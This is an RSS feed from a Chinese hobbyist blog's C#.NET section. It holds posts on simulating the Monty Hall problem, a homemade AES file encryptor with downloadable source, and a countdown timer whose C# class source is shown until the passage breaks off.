<?xml version="1.0" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="css/rss.xslt"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>世界的角落（雨·漫步） - C#.NET</title><link>http://www.myjsy.com/</link><description> - </description><generator>RainbowSoft Studio Z-Blog 1.8 Spirit Build 80710</generator><language>zh-CN</language><copyright>Copyright 2008 世界的角落. All Rights Reserved.如有涉及侵犯您权益的情况，请和我联系！粤ICP备10082448号</copyright><pubDate>Wed, 08 Sep 2010 17:31:43 +0800</pubDate><item><title>关于“蒙蒂霍尔问题”（猜奖概率问题）的计算机模拟</title><author>jsy1988@163.com (PisChiao)</author><link>http://www.myjsy.com/Article/224.htm</link><pubDate>Sun, 23 Aug 2009 01:43:39 +0800</pubDate><guid>http://www.myjsy.com/Article/224.htm</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;今天在《科学世界》2009年9月期杂志上看到了关于著名的&ldquo;蒙蒂霍尔问题&rdquo;的解释，自己想来想去觉得想不明白，于是自制程序验证。首先还是先说一下蒙蒂霍尔问题是个什么东西吧。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;说，从前有一个人获得了一个猜奖的机会，他的面前有三扇门，分别是A、B、C门，其中一扇门后面藏有奖品，另外两扇门后面没有奖品。猜奖人是不知道哪扇门后面有奖品的，但是主持人知道哪扇门后面有奖品。猜奖人首先选择了A门，主持人没有立即打开A门，而是打开了B门，让猜奖人看到B门后面是没有奖品的。这时，主持人要给猜奖人一个重新选择的机会，说：&ldquo;你是选择A门不变呢，还是改为选择C门呢？&rdquo;，于是，问题出来了：如果你是猜奖人，你是选择A呢还是改选C呢？为什么？</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这个问题中，有几个点需要注意作为前提：1、猜奖人与主持人不认识，防止主持人和猜奖人之间有性格问题影响判断。2、假设猜奖人完全从概率学上考虑这个问题，不掺杂个人情感。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;《科学世界》2009年9月期的第47页有对这个问题做解释，其解释内容摘录如下：</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&ldquo;在主持人打开门B之前，选择门A中奖的概率为1/3，不中奖的概率为2/3。这就是说，选B或C的中奖概率为2/3。对以上分析大概不会有人提出疑义&rdquo;（我提出异议，&ldquo;选B或C的中奖概率为2/3&rdquo;，这句话我不赞成，选A/B/C三个门中任意一个的中奖几率均为1/3，为何B或C的中奖概率为2/3呢？难道作者想表达的意思是&ldquo;同时选B和C两扇门的时候中奖概率为2/3？&rdquo;，那就不应该说&ldquo;B或C&rdquo;而应该说&ldquo;B和C&rdquo;）</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&ldquo;关键在于猜奖人选择门A之后主持人打开了门B，并已经证明它后面没有奖品，这就附加了条件。原来是两扇门B和C共同具有2/3的中奖概率，现在已经排除了B中奖的可能性，这个概率就为门C所独有。因此，这时选择门C中奖的概率为2/3，比起门A的1/3概率，自然改变主意改选门C是明智的。&rdquo;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;我对这里的解释也有一些意见，作者的逻辑是这样的：&ldquo;选门A的中奖概率是1/3，同时选择两扇门B和C的中奖概率是2/3，当证明B后面没有奖品时，门C的中奖概率就独占了原来属于B和C共有的2/3概率&rdquo;。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;如此说来，我是否可以提出下面的解释：&ldquo;选门A的中奖概率是1/3没错，同时选择两扇门A和B的中奖概率是2/3也没错吧？那么选择C的中奖概率就是1/3了，当我选择了A门时，并不会影响同时选择A和B的中奖概率是2/3这个事实，于是主持人确定了门B后面没有奖品的时候，A就应该独占原来属于A和B共有的2/3概率，所以选择门A的中奖概率是2/3，选择门B的概率是1/3！&rdquo;这岂不是自相矛盾？</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;先离开上面的矛盾点，我们再来讨论另外一个方面的问题，我将在下面列举三种情况供大家来分析</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1、&ldquo;如果猜奖人还没有选择，主持人就打开了门B，告诉大家B门里面没有奖品，那么选择门A与门C的中奖概率各是多少呢？&rdquo;很明显，这时选择A或者选择B的中奖概率均为<span style="color: #ff0000"><strong>1/2</strong></span>。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2、&ldquo;如果猜奖人在心里选择门A，并不说出来，然后主持人打开了门B，告诉大家门B里面没有奖品，那么选择门A与门C的中奖概率各是多少呢？&rdquo;这个问题与上面那个问题的区别在于，猜奖人先在心里选择了门A，但没有说出来，那么当门B被证明没有奖品后，选择门A与门C的中奖概率各是多少这个问题，我想也应该是<span style="color: #ff0000"><strong>1/2</strong></span>吧？如果认为选A的中奖概率为<span style="color: #ff0000">1/3</span>，选C的中奖概率为<span style="color: #ff0000">2/3</span>，那么很明显，<span style="color: #ff0000">是猜奖人的心理活动对中奖几率产生了影响</span>，这似乎有点不合乎常理吧？</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3、&ldquo;如果猜奖人说了选门A，然后主持人打开了门B，告诉大家门B里面没有奖品，那么此时，再选择门A与门C的中奖概率各是多少呢？&rdquo;这个问题与上面那个问题的区别在于，猜奖人不仅在心里做了选择，而且把选A这个事情说了出来，那么当门B被证明没有奖品后，选择门A与门C的中奖概率各是多少这个问题就正好是&ldquo;蒙蒂霍尔问题&rdquo;了，很明显，蒙蒂霍尔问题的解答者告诉我们，<span style="color: #ff0000">选门A的中奖概率是1/3，而选门C的中奖概率是2/3</span>，结合上面两个情况，我们是否可以理解为&ldquo;<span style="color: #ff0000">猜奖人说了一句话，从而影响了选择A或者选择B时的中奖概率？！</span>&rdquo;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;好了，以上是本人的疑惑部分，不过肯定有不对的地方，呵呵，还请大家多多抛砖。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;下面说一下我对蒙蒂霍尔问题的理解：</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;我们先不考虑几率的问题，要解释这个问题，<span style="color: #ff0000">首先我假设猜奖人会改变主意（当然假设他不会改变主意也一样可以得出正确结论）</span>，那么蒙蒂霍尔问题可以分为两种情况：</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1、当猜奖人刚开始选择的门为有奖的门时，主持人在下一步会打开一个没有奖的门，于是剩余的那个门肯定是没有奖的，<span style="color: #ff0000">猜奖人改变主意选剩下那个门的话，那么他就不能中奖！</span></p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2、当猜奖人刚开始选择的门为没有奖的门时，主持人在下一步会打开一个没有奖的门，那么剩下的那个门一定就是有奖的，<span style="color: #ff0000">猜奖人改变主意选剩下那个门的话，那么他就中奖了！</span></p><p><span style="color: #ff0000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>在整个事件中还有其他情况吗？没有了，猜奖人刚开始选择的门，要么是有奖的门（情况1），要么是没有奖的门（情况2）。我们可以做一个总结也就是：&ldquo;在假设猜奖人最后会改变主意的情况下，如果猜奖人刚开始选择的门为有奖的门，那么他最终一定得不到将，如果猜奖人刚开始选择的门为没有奖的门，那么他最终一定是得奖的&rdquo;，OK，有了这个总结，我们再来看几率的问题：&ldquo;猜奖人刚开始选择的门维有奖的门的几率是多少？&rdquo;毫无疑问，<span style="color: #ff0000">他刚开始随便选一个，能中奖的几率肯定是1/3，那么也就是说如果他最后改变了主意，他不能中奖的几率就是1/3，相反的，他在刚开始的时候选择的那个门是没有奖的几率就是2/3，那么他最后能中奖的几率就是2/3</span>！这就是为什么在最后一步改变主意选门C时，中奖的几率是2/3的原因！</span></p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;下面附上自己写的一个小程序，可以最多模拟50万次蒙蒂霍尔问题，大家可以自己试一下看看几率哦，呵呵。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;程序是这样做的：<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1、首先定义三扇门A,B,C，系统随机在其中一扇门后面放奖品<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2、系统模拟猜奖人，随机在A,B,C三扇门中抽取一扇门作为猜奖人刚开始选择的门<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3、系统模拟主持人，在剩下的两扇门中，将没有奖品那一扇打开<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4、系统再次<span style="color: #ff0000">模拟猜奖人改变主意的状态</span>，将最终选择的门设定为最后那一扇门<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;5、检查此次猜奖人是否中奖，并做下记录<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;6、模拟这个过程指定的次数，统计猜奖人最终的中奖率</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;点击这里下载<a href="http://www.myjsy.com/upload/200908230244083575.rar" target="_blank">200908230244083575.rar</a>实验模拟器，需要.NET运行环境3.5</p><p>&nbsp;</p>]]></description><category>C#.NET</category><comments>http://www.myjsy.com/Article/224.htm#comment</comments><wfw:comment>http://www.myjsy.com/</wfw:comment><wfw:commentRss>http://www.myjsy.com/feed.asp?cmt=224</wfw:commentRss><trackback:ping>http://www.myjsy.com/cmd.asp?act=tb&amp;id=224&amp;key=20a1c4ec</trackback:ping></item><item><title>C#写的文件加密器（附源码）</title><author>jsy1988@163.com (PisChiao)</author><link>http://www.myjsy.com/Article/AesEncryption.htm</link><pubDate>Sun, 26 Oct 2008 18:07:34 +0800</pubDate><guid>http://www.myjsy.com/Article/AesEncryption.htm</guid><description><![CDATA[<p>抽空写了一个加密程序，使用C#(VS2005)编写，以二进制流的方式读取文件，然后使用AES加密后写入一个新的文件。</p><p>有兴趣的朋友可以下载研究一下，前一段时间自学C#时写的，可能有很多问题，要是加密以后没法解密可别赖我哈&hellip;&hellip;哈哈～</p><p>有什么意见欢迎留言给我。</p><p><a target="_blank" href="http://www.myjsy.com/upload/John保险箱.rar">John保险箱.rar</a></p><p>&nbsp;<a target="_blank" href="http://www.myjsy.com/upload/AesEncryption.rar">AesEncryption（程序源码）.rar</a></p>]]></description><category>C#.NET</category><comments>http://www.myjsy.com/Article/AesEncryption.htm#comment</comments><wfw:comment>http://www.myjsy.com/</wfw:comment><wfw:commentRss>http://www.myjsy.com/feed.asp?cmt=216</wfw:commentRss><trackback:ping>http://www.myjsy.com/cmd.asp?act=tb&amp;id=216&amp;key=022bea15</trackback:ping></item><item><title>用C#写了一个倒计时器</title><author>jsy1988@163.com (PisChiao)</author><link>http://www.myjsy.com/Article/212.htm</link><pubDate>Tue, 12 Aug 2008 21:06:25 +0800</pubDate><guid>http://www.myjsy.com/Article/212.htm</guid><description><![CDATA[<p>最近发现网页游戏很多都是需要时间的，比如建造一个建筑需要几分钟，造一个兵需要多少分钟，很容易就会忘记自己的上一个建筑已经造完了，于是就想搞一个计时器，在网上找了半天没找到合适的，就自己写一个了，还美其名曰：小焦计时器，哈哈~<br /><a target="_blank" href="http://www.myjsy.com/upload/TimeCounter.rar">TimeCounter.rar</a><br />拿来给大家分享一下哦，玩EVE和玩网页游戏的朋友可能会用到，最长计时时间是99小时。<br />其中我自己写了一个类（其实是从网上找到的，修改了一下），这个类的功能就是记录一个时间，具体的构造函数什么的大家看下面的代码喽~</p><div><p>TimeCounter.cs<br />__________________________________________<br />using System;<br />using System.Collections.Generic;<br />using System.Text;</p><p>namespace TimeCounter<br />{<br />&nbsp;&nbsp;&nbsp; public class TimeCounter<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 指示当前计时器的小时数<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private int Hours;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 指示当前计时器的分钟数<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private int Minutes;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 指示当前计时器的秒数<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private int Seconds;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 指示当前计时器是否已经过了原点<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private bool IsOver = false;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 初始化计时器<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public TimeCounter()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.IsOver = false;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Hours = 0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Minutes = 0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Seconds = 0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 初始化计时器<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;param name=&quot;Hours&quot;&gt;小时&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;param name=&quot;Minutes&quot;&gt;分钟&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;param name=&quot;Seconds&quot;&gt;秒&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public TimeCounter(int Hours,int Minutes,int Seconds)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.IsOver = false;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Hours = Hours;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Minutes = Minutes;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Seconds = Seconds;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 初始化计时器<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;param name=&quot;Hours&quot;&gt;小时&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;param name=&quot;Minutes&quot;&gt;分钟&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;param name=&quot;Seconds&quot;&gt;秒&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public TimeCounter(int Hours, int Minutes, int Seconds,bool IsOver)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.IsOver = IsOver;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Hours = Hours;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Minutes = Minutes;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Seconds = Seconds;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 设置小时数<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;param name=&quot;Hours&quot;&gt;小时&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public void SetHours(int Hours)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Hours = Hours;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.Hours &gt; 99)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Hours = 99;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.Hours &lt; 0)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Hours = 0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 设置分钟数<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;param name=&quot;Minutes&quot;&gt;分钟&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public void SetMinutes(int Minutes)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Minutes = Minutes;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.Minutes &gt; 60)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Minutes = 60;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.Minutes &lt; 0)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Minutes = 0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 设置秒数<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;param name=&quot;Seconds&quot;&gt;秒&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public void SetSeconds(int Seconds)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Seconds = Seconds;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.Seconds &gt; 60)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Seconds = 60;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.Seconds &lt; 0)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.Seconds = 0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 获取当前计时器的小时数<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;returns&gt;小时&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public int GetHours()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this.Hours;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 获取当前计时器的分钟数<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;returns&gt;分钟&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public int GetMinutes()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this.Minutes;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 获取当前计时器的秒数<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;returns&gt;秒&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public int GetSeconds()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this.Seconds;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 重定义++运算符表示增加一秒<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;param name=&quot;TimeCounter&quot;&gt;要操作的TimeCounter对象&lt;/param&gt;<br 